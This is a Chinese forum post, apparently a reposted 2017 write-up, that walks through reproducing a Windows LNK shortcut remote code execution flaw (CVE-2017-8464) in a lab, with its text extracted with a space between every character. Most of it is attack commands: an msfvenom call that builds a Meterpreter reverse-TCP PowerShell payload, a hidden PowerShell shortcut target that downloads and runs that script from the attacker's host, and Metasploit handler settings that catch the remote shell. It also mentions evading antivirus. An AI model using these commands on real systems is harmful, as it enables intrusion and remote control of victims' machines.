搜索

[18838] 2017-06-16_cve-2017-8464LIK远程代码执行

文档创建者：s7ckTeam
浏览次数：46
最后更新：2025-01-18
2017-06-16_cve-2017-8464LIK远程代码执行 c v e - 2 0 1 7 - 8 4 6 4   L I K 远 程 代 码 执 行 c r h u a   h u a s e c   2 0 1 7 - 0 6 - 1 6 0 x 0 0 漏 洞 成 因 漏 洞 成 因         在 w i n d o w s 中 快 捷 方 式 L N K 文 件 小 巧 ， 打 开 程 序 方 便 。 但 是 也 会 因 为 漏 洞 造 成 很 大 影 响 ， 比 如 远 程 命 令 执 行 。 0 x 0 1 漏 洞 复 现 漏 洞 复 现         攻 击 机 ： k a l i   2 . 0         目 标 机 ： w i n d o w s   s e r v e r   2 0 0 8 1 . 在 k a l i 上 生 成 木 马         m s f v e n o m   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p     L H O S T = 1 9 2 . 1 6 8 . 1 5 5 . 6   L P O R T = 4 4 4 4   - f   p s h - r e f l e c t i o n   >   s h e l l . p s 1 2 . 建 立 快 捷 方 式         在 w i n d o w s   桌 面 上 右 击   = = 》   创 建 快 捷 方 式 p a y l o a d : p o w e r s h e l l   - w i n d o w s t y l e   h i d d e n   - e x e c   b y p a s s   - c   " I E X   ( N e w - O b j e c t N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 1 5 5 . 6 / s h e l l . p s 1 ' ) ; s h e l l . p s 1 "
结 果 生 成 一 个 s h e l l . t x t 的 快 捷 方 式 3 . 在 m e t a s p l o i t 下 反 弹 s h e l l u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e c e r s e _ t c p s e t   l h o s t   1 9 2 . 1 6 8 . 1 5 5 . 6 s e t   l p o r t   4 4 4 4 4 . 双 击 桌 面 的 生 成 的 s h e l l . t x t   反 弹 s h e l l
5 . s h e l l   免 杀 0 x 0 2   后 记 后 记         此 漏 洞 影 响 版 本 很 多 ， 请 及 时 打 补 丁   另 外 ， 分 享 一 些 自 己 收 集 的 安 全 书 籍 链 接 ： h t t p : / / p a n . b a i d u . c o m / s / 1 o 8 u P n z O   密 码 ： k h q i 喜 欢 就 关 注 我 吧

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理